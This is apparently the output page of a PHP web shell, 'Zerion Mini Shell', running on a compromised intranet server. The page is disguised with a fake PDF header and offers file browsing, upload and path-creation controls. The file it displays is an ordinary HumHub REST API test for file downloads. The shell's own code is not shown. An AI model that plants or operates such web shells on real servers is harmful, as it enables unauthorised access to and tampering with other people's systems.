%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/rest/tests/codeception/api/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/rest/tests/codeception/api/FileCest.php

<?php

namespace rest\api;

use rest\ApiTester;
use tests\codeception\_support\HumHubApiTestCest;

class FileCest extends HumHubApiTestCest
{
    public function testDownload(ApiTester $I)
    {
        $I->wantTo('download a file');
        $I->amAdmin();

        $I->sendGet('file/download/123');
        $I->seeNotFoundMessage('File not found!');

        $I->sendGet('file/download/1');
        $I->seeNotFoundMessage('File doesn\'t not exist!');
    }

}

Zerion Mini Shell 1.0